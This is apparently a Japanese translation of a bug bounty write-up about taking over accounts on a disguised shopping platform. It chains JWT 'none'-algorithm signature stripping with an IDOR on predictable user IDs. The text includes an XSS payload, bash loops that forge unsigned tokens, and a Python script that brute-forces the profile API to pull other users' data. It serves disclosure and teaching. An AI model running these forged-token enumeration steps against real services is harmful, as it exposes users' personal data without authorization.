How I was able to get account takeover via IDOR form JWT から学ぶ

ソース:

medium.com

脆弱性:JWT、IDOR、アカウントの乗っ取り

 

訳:

プラットフォームで BBP の脆弱性を探し始めました。
プラットフォーム名が「redirect.com」だったとします。
JSON Web Token (JWT) を使用している Web アプリケーションを確認した後、ATO を取得しようとしました。 

 

アカウントを作成してすべての機能をテストすることにしました。
最初に、「firstName」フィールドに XSS ペイロードを入力し、他のフィールドに入力することで脆弱性を悪用しようとしました。
Firefox ブラウザでログインしたときは何も起こらず、プラットフォームは安全だと思いました。
ただし、Microsoft Edge でログインすると、XSS ペイロードが警告されました。 

 

 

この時点では、ユーザーが他のプロファイルにアクセスできず、ブラインド XSS の試みがすべて失敗したため、これは自己 XSS 脆弱性であるように見えました。
私は誰かと協力して、自己 XSS 脆弱性を非自己 XSS 脆弱性に変換​​できるように支援したいと考えていました。 

 

すべての機能をテストした後、Burp Suite に戻ってトラフィックを検査しました。
具体的なリクエストを見つけました… 

 

GET /profile HTTP/2
Host: api.redirect.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/plain, */*
Accept-Language: en-GB
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiQ3VzdG9tZXIiLCJ1c2VySWQiOiI2NDczM2MxMDM3NmFkMTZhODliZWMzOTUiLCJlbWFpbCI6Im1vaGFtZWRAZ21haWwuY29tIiwiZmlyc3ROYW1lIjoibDxzdmcgT25seT0xICBPbmxvYWQ9YWxlcnQoZG9jdW1lbnQuY29va2llKT4iLCJsYXN0TmFtZSI6Imw8c3ZnIE9ubHk9MSAgT25sb2FkPWFsZXJ0KGRvY3VtZW50LmNvb2tpZSk-IiwiY3JlYXRlVGltZSI6IjA1LzMwLzIwMjMgMDA6MTY6NTAiLCJyZWdpc3RlclRpbWUiOiIwNS8yOC8yMDIzIDExOjMzOjM2IiwiaGFzS2V5IjoidHJ1ZSIsIm5iZiI6MTY4NTQwNTgwMCwiZXhwIjoxNjg1NDkyMjAwLCJpYXQiOjE2ODU0MDU4MDB9.ADEzFqcfIQ7uDVXKLBHZStu3LQ9zog2Fd-yDWrYrklc
Origin: https://www.redirect.com
Referer: https://www.redirect.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers

 

アプリケーションは認証に JSON Web Token (JWT) を利用しました。
JWT をデコードした後、次のことがわかりました。

 

JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiQ3VzdG9tZXIiLCJ1c2VySWQiOiI2NDczM2MxMDM3NmFkMTZhODliZWMzOTUiLCJlbWFpbCI6Im1vaGFtZWRAZ21haWwuY29tIiwiZmlyc3ROYW1lIjoibDxzdmcgT25seT0xICBPbmxvYWQ9YWxlcnQoZG9jdW1lbnQuY29va2llKT4iLCJsYXN0TmFtZSI6Imw8c3ZnIE9ubHk9MSAgT25sb2FkPWFsZXJ0KGRvY3VtZW50LmNvb2tpZSk-IiwiY3JlYXRlVGltZSI6IjA1LzMwLzIwMjMgMDA6MTY6NTAiLCJyZWdpc3RlclRpbWUiOiIwNS8yOC8yMDIzIDExOjMzOjM2IiwiaGFzS2V5IjoidHJ1ZSIsIm5iZiI6MTY4NTQwNTgwMCwiZXhwIjoxNjg1NDkyMjAwLCJpYXQiOjE2ODU0MDU4MDB9.ADEzFqcfIQ7uDVXKLBHZStu3LQ9zog2Fd-yDWrYrklc

 

↓デコード

 

{
"alg": "HS256",
"typ": "JWT"
}
{
"type": "Customer",
"userId": "64733c10376ad16a89bec395",
"email": "mohamed@gmail.com",
"firstName": "l<svg Only=1 Onload=alert(document.cookie)>",
"lastName": "l<svg Only=1 Onload=alert(document.cookie)>",
"createTime": "05/30/2023 00:16:50",
"registerTime": "05/28/2023 11:33:36",
"hasKey": "true",
"nbf": 1685405800,
"exp": 1685492200,
"iat": 1685405800
}

 

最初は、ここで説明されているすべての方法を試しました

www.linkedin.com

この時点で、前述のすべての方法を使い果たしたので、None アルゴリズムが役に立ちました。
署名を削除しても機能しました。

その結果、None Algorithm の脆弱性が発生しました。
「type」:「Customer」を「type」:「Admin」またはその他の権限関連の値に変更して権限昇格を試みましたが、失敗しました。
そこで IDOR を試してみたところ、テストできるパラメーターが 2 つありました。

 

"userId": "64733c10376ad16a89bec395"
"email": "mohamed@gmail.com"

 

電子メールでいくつかの方法を試してみましたが、有用なものは見つかりませんでした。
そこで、ユーザーIDを変更しようとして、他の人のIDに変更したところ、うまくいき、その人の情報を取得することができました。

 

IDOR

この時点では、ID にはどこからでも簡単にアクセスできないため、このバグの最大重大度は中程度と考えられていました。 

 

Web サイトはショッピング プラットフォームだったので、API をファジングしようとしましたが、興味深い結果は見つかりませんでした。
また、コメント セクションやユーザー プロフィール内のデータを検索しようとしましたが、コメント オプションやユーザー プロフィール機能が利用できず、レビューもなかったため、データを見つけることができませんでした。
Wayback-Machine ファイル やJavaScript ファイルも検索してみました が、有益な情報は見つかりませんでした。 

 

ユーザーIDを分析してみましょう。
まず、テストするためにいくつかのアカウントを作成しました。

 

number of test accounts

「テスト アカウントの数」の図に示されているように、ユーザー ID には次のようなパターンが見られます。 

 

analysis id

この分析に基づくと、ユーザー ID の最初の 8 ビットはタイムスタンプの 16 進数表現であると考えられます。
次の 12 桁の 16 進数は 1 日の一定期間固定され (アカウントの作成によって決定できます)、最後の 4 桁はランダムです。 

 

この時点での私のシナリオは、分析したパターンを使用してブルート フォース攻撃を実行することでした。
最初の 8 ビットがタイムスタンプとして識別されたため、総当たり検索を残りの 18 ビットに絞り込むことができます。
ただし、アカウントを作成し、生成されたユーザー ID を観察することで、次の 12 ビットを判断できます。

したがって、ブルート フォース攻撃の主なポイントは、ユーザー ID の最後の 4 桁を特定することになります。

 

この攻撃の概念実証を作成するには、次の手順に従う必要があります。

  1. 1 日の可能なすべてのタイムスタンプを取得します。
  2. 特定のタイムスタンプで考えられるすべてのユーザー ID を特定します。
  3. ユーザー ID ごとに JSON Web トークン (JWT) を生成します。
  4. ステップ 3 で生成された JWT を使用して、ブルート フォース攻撃を使用して、ユーザー IDの最後の4桁の考えられるすべての組み合わせを試します。
  5. ブルートフォース攻撃によって取得された有効なユーザー IDを追跡します。
  6. 結果を分析し、取得された有効なユーザー IDの数を確認します。

 

 
タイムスタンプの最後の 4 桁のすべての可能な組み合わせを含むファイルを生成するには、次のスクリプト コマンドを使用できます。 

 

#!/bin/bash

for *1
do
hex=$(printf "%04x" $i)
echo $hex
done >> hex4.txt
 その後、最初のステップで取得したすべての可能なユーザー ID を常に取得するため、次のステップに進みます。userid は 3 つの部分に分かれていました 646fcff0 ==> timestamp, 5523e47052f1 ==> fixed 12 digits of hex, 310e ==> random 4 digits 分析を要約すると、ユーザー ID の最初の 8 桁の 16 進数はタイムスタンプを表し、次の 12 進数はすべてのユーザーに対して 1 日のうちに時々固定され、最後の 4 桁の 16 進数はランダムに生成されます。  最初の 12 桁の 16 進数を取得するには、一日の初めにアカウントを作成し、生成されたユーザー ID を観察します。 最後の 4 つの 16 進数の可能な組み合わせをすべて取得するには、可能なすべてのタイムスタンプを生成するために使用したものと同様の bash スクリプトを使用できます。
これにより、最後の4つの16進数の可能なすべての組み合わせを含むファイルが得られ、これをタイムスタンプごとに固定の12桁の16 進数と連結して、1 日中いつでも可能なすべてのユーザー ID を取得できます。  #!/bin/bash

for *2
do
hex=$(printf "%04x" $i)
echo $hex
done >> hex4.txt
 タイムスタンプごとに考えられるすべてのユーザー ID を生成した後、各ユーザー ID を JWT に変換して、どれが有効であるかを確認する必要があります。
次のスクリプト コマンドを使用して、ユーザー ID ごとに JWT を生成できます。 for i in `cat hex4.txt`; do for j in `cat hex4.txt`; do echo '{"alg":"HS256","typ":"JWT"}' | base64 | tr -d '==' | tr -d '\n'; echo '.' | tr -d '\n' ; echo '{"limit":2,"type":"Customer","userId":"'$i'5523e47052f150'$j'"}' | base64 | tr -d '==' | tr -d '\n'; echo '.' ; done ; done >> rahim_allah_alfataa_salah.txt ユーザー ID ごとに考えられるすべての JWT を生成した後、どれが有効であるかを確認する必要があります。
次の Python コードを使用して、各 JWT の有効性を確認できます。  import requests
import time

url = "https://api.redirect.com/profile"
bearer_token_file = "rahim_allah_alfataa_salah.txt"

with open(bearer_token_file, "r") as f:
jwt_list = f.readlines()

for jwt_str in jwt_list:
jwt_token = jwt_str.strip()

headers = {"Authorization": f"Bearer {jwt_token}"}

response = requests.get(url, headers=headers)

if response.ok and response.status_code == 200:
response_data = response.json()
print("userid: " + response_data["items"]['id'])
 その後、プログラムに報告したところ、トリアージャーはアカウントを作成し、これをタイムスタンプとして 30.05.2023 として渡してくれました。
しかし、それはタイムスタンプの8ビットすべてではなかったので(そのうちの5ビットだけ)、2023年5月30日の午後11時から午後11時30分までの可能なすべてのタイムスタンプを取得するコードを作成しました。 

hacking_triager_account_;D
タイムスタンプを取得するために、Epoch converter を使用しました。
 これは、タイムスタンプの最後の3桁をブルートフォースするためです(4桁にすることもできますが、時間を決定するために3桁にしました)、出力にtimestamp.txtという名前を付けました。 


#!/bin/bash

start=6475d908
end=6475dFFF

for *3
do
printf "%x\n" $i
done > timestamp.txt

 

ユーザー ID の最後の 4桁の16 進数については、この bash スクリプトを実行して、可能なすべての最後の 4桁の16 進数を取得します。これは、最初のスクリプトと同じになります (時間を決定するために 2 16 進数の数字にします)。出力にjadak_alghaithu.txtという名前を付けます。

 

for i in {0..255}; do printf "%02X\n" $i; done >> jadak_alghaithu.txt;

 

このすべてのタイムスタンプを変換するために、すべての JWT を取得するために 12 桁の 16 進数と残り 4 桁を固定しました。
これを書いたので、 brute_force.txt という名前をつけます。

 

for i in `cat timestamp.txt`; do for j in `cat jadak_alghaithu.txt`; do echo '{"alg":"HS256","typ":"JWT"}' | base64 | tr -d '==' | tr -d '\n'; echo '.' | tr -d '\n' ; echo '{"limit":2,"type":"Customer","userId":"'$i'5523e47052f150'$j'"}' | base64 | tr -d '==' | tr -d '\n'; echo '.' ; done ; done >> brute_force.txt

 

その後、攻撃を行うためにこのPythonコードを書きました
Hack_hack.py で名前を付けました。

 

import requests
import time

url = "https://api.redirect.com/profile"
bearer_token_file = "brute_force.txt"

with open(bearer_token_file, "r") as f:
jwt_list = f.readlines()

for jwt_str in jwt_list:
jwt_token = jwt_str.strip()

headers = {"Authorization": f"Bearer {jwt_token}"}

response = requests.get(url, headers=headers)

if response.ok and response.status_code == 200:
response_data = response.json()
print("userid: " + response_data["items"]['id'])

 

そしてそれが結果でした。

 

 

トリアージャーのユーザーIDは次のとおりです:

6475d9315523e47052f15098

 

それでBurpに送りました。

 

 

{
"offset":0,
"limit":1,
"items":{
"id":"6475d9315523e47052f15098",
"lastLoggedAt":"2023–05–30T11:08:34.219Z",
"createdAt":"2023–05–30T11:08:33.493Z",
"dateOfBirth":null,
"gender":null,
"registerType":"email",
"addresses":[
],
"firstName":"test1",
"lastName":"test2",
"email":"**************@gmail.com",
"phone":null,
"state":"active",
"registerOrigin":"desktop",
"marketingAccepted":true,
"marketingAcceptedAt":"2023–05–30T11:08:33.493Z"
},
"size":1,
"success":true,
"message":null,
"statusCode":"ok"
}

 

ほなほな。

*1:i=0;i<=0xffff;i++

*2:i=0;i<=0xffff;i++

*3:i=0x$start;i<=0x$end;i++